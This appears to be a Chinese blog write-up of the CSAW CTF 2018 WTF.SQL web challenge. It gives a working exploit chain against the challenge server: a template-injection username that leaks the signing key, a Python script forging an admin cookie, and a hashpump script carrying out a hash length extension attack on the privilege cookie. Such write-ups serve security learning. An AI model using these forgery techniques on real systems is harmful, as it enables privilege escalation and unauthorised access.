CSAW CTF 2018 WTF.SQL writeup

打开连接后可以看到是一个注册页面,而且注册后没有登录操作,直接就会变成已登录状态且跳转到个人页面

扫到robots.txt文件,内容信息量很大

1
2
3
4
5
6
7
8
9
10
11
User-agent: *
Disallow: / # procedure:index_handler
Disallow: /admin # procedure:admin_handler
Disallow: /login # procedure:login_handler
Disallow: /post # procedure:post_handler
Disallow: /register # procedure:register_handler
Disallow: /robots.txt # procedure:robots_txt_handler
Disallow: /static/% # procedure:static_handler
Disallow: /verify # procedure:verify_handler

# Yeah, we know this is contrived :(

使用 verify 路由可以阅读到一些程序的源码 (全都是存储过程)

看到这个路由后,首先想到的是访问 admin 路由,但是可以看到 admin_handler 中存在判断: CALL is_admin(admin)

然后看到 login_handlerlogin 存储过程,可以找到设置cookie 的 set_cookie

1
2
3
4
5
6
BEGIN
DECLARE signed_value TEXT;
CALL sign_cookie(i_value, signed_value);

INSERT INTO `resp_cookies` VALUES (i_name, signed_value) ON DUPLICATE KEY UPDATE `value` = signed_value;
END

以及其中的 sign_cookie

1
2
3
4
5
6
7
8
BEGIN
DECLARE secret, signature TEXT;
SET secret = (SELECT `value` FROM `config` WHERE `name` = 'signing_key');

SET signature = SHA2(CONCAT(cookie_value, secret), 256);

SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));
END

可以发现在 config 表中存了一个叫做 signing_key 的 secret_key

那么如何取到这个 signing_key?

阅读了很多个存储过程后,在渲染模板中其实可以看到一个突破点,这里存在一个SSTI漏洞

首先,查看 login_handler 的时候,发现其中 call 了一个 template,在 template 中可以看到又 call 了一个 template_string 来进行渲染,看看这个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
BEGIN
DECLARE formatted TEXT;
DECLARE fmt_name, fmt_val TEXT;
DECLARE replace_start, replace_end, i INT;

SET @template_regex = '\$\{[a-zA-Z0-9_ ]+\}';

CREATE TEMPORARY TABLE IF NOT EXISTS `template_vars` (`name` VARCHAR(255) PRIMARY KEY, `value` TEXT);
CALL populate_common_template_vars();

SET formatted = template_s;
SET i = 0;

WHILE ( formatted REGEXP @template_regex AND i < 50 ) DO
SET replace_start = REGEXP_INSTR(formatted, @template_regex, 1, 1, 0);
SET replace_end = REGEXP_INSTR(formatted, @template_regex, 1, 1, 1);
SET fmt_name = SUBSTR(formatted FROM replace_start + 2 FOR (replace_end - replace_start - 2 - 1));
SET fmt_val = (SELECT `value` FROM `template_vars` WHERE `name` = TRIM(fmt_name));
SET fmt_val = COALESCE(fmt_val, '');
SET formatted = CONCAT(SUBSTR(formatted FROM 1 FOR replace_start - 1), fmt_val, SUBSTR(formatted FROM replace_end));
SET i = i + 1;
END WHILE;

SET resp = formatted;

DROP TEMPORARY TABLE `template_vars`;
END

可以发现,如果字符串满足 template_regex 那么它将会被替换成一个程序中的变量,而这些变量则来自于 populate_common_template_vars

1
2
3
4
BEGIN
INSERT INTO `template_vars` SELECT CONCAT('config_', name), value FROM `config`;
INSERT INTO `template_vars` SELECT CONCAT('request_', name), value FROM `query_params`;
END

所以可以考虑使用 ${config_signing_key} 来获取sign key,但是被拦住了,提示 Banned word used in post!

那么这里考虑使用其它值来获取,考虑到注册后直接显示个人主页,那么尝试注册的时候将用户名设置成 ${config_signing_key} ,注册成功后跳到个人主页成功获取到了secret key

然后算出管理员的cookie

1
2
3
4
5
6
7
8
#coding=utf-8
import hashlib

signing_key = "an_bad_secret_value_nhcq497y8".encode("utf-8")
m = hashlib.sha256()
m.update("1".encode("utf-8"))
m.update(signing_key)
print(m.hexdigest() + '1'.encode('hex'))

得到 admin = 3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431

修改cookie后访问发现页面上什么东西都没有,看到 admin_handler 中存在的判断

1
2
CALL has_priv('panel_create', can_create_panels);
CALL has_priv('panel_view', can_view_panels);

查看 has_priv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
BEGIN
DECLARE privs, cur_privs, cmp_priv BLOB;
DECLARE hash, signing_key TEXT;

SET o_has_priv = FALSE;

SET privs = NULL;
CALL get_cookie('privs', privs);

IF NOT ISNULL(privs) THEN
SET hash = SUBSTR(privs FROM 1 FOR 32);
SET cur_privs = SUBSTR(privs FROM 33);
SET signing_key = (SELECT `value` FROM `priv_config` WHERE `name` = 'signing_key');

IF hash = MD5(CONCAT(signing_key, cur_privs)) THEN
WHILE ( LENGTH(cur_privs) > 0 ) DO
SET cmp_priv = SUBSTRING_INDEX(cur_privs, ';', 1);
IF cmp_priv = i_priv THEN
SET o_has_priv = TRUE;
END IF;
SET cur_privs = SUBSTR(cur_privs FROM LENGTH(cmp_priv) + 2);
END WHILE;
END IF;
END IF;
END

可以看到 priv 的值其实就是 md5(priv_signing_key + privs) + privs,而这种加密方式,存在哈希长度扩展攻击的可能,使用hashpump来进行攻击,写个脚本算一下priv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
import requests
import hashpumpy
import binascii
import hashlib

if __name__ == "__main__":
for i in range(1,33):
res = hashpumpy.hashpump("60f0cc64f5b633cf502d25ea561a98bf", "\x00", ";panel_create;panel_view;", i)
# use res[1] as res[1][1:] to ignore the first byte!
res0 = res[0]
res1 = binascii.hexlify(res[1][1:]).decode("utf-8")
m = hashlib.sha256() # sha256 (
m.update(str.encode(res[0])) # (md5(signing_key, privs)
m.update(res[1][1:]) # + privs)
m.update(str.encode('an_bad_secret_value_nhcq497y8')) # + secret)
priv = m.hexdigest()+ binascii.hexlify(str.encode(res0)+res[1][1:]).decode("utf-8") # + (md5(signing_key, privs) + privs)
cookies = {
"email": "1d01019d1418a8eef8b22d46bcf40f4cef3475bfe37496f42c3cc3f391a5bfa934757575407176712e696d",
"admin": "3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431",
"privs": priv
}
req = requests.get("http://web.chal.csaw.io:3306/admin", cookies=cookies)
if len(req.text) != 287:
print(priv)
break

替换后可以看到一个panel,随便输入一个东西会提示 no such table,于是尝试输入 config,返回了表内容

然后提示中有说到

Your mission is to read out the txt table in the flag database.

于是输入 flag.txt ,得到flag

Author: 4uuu Nya
Link: https://qvq.im/2018/09/11/CSAW-CTF-2018-WTF-SQL-writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.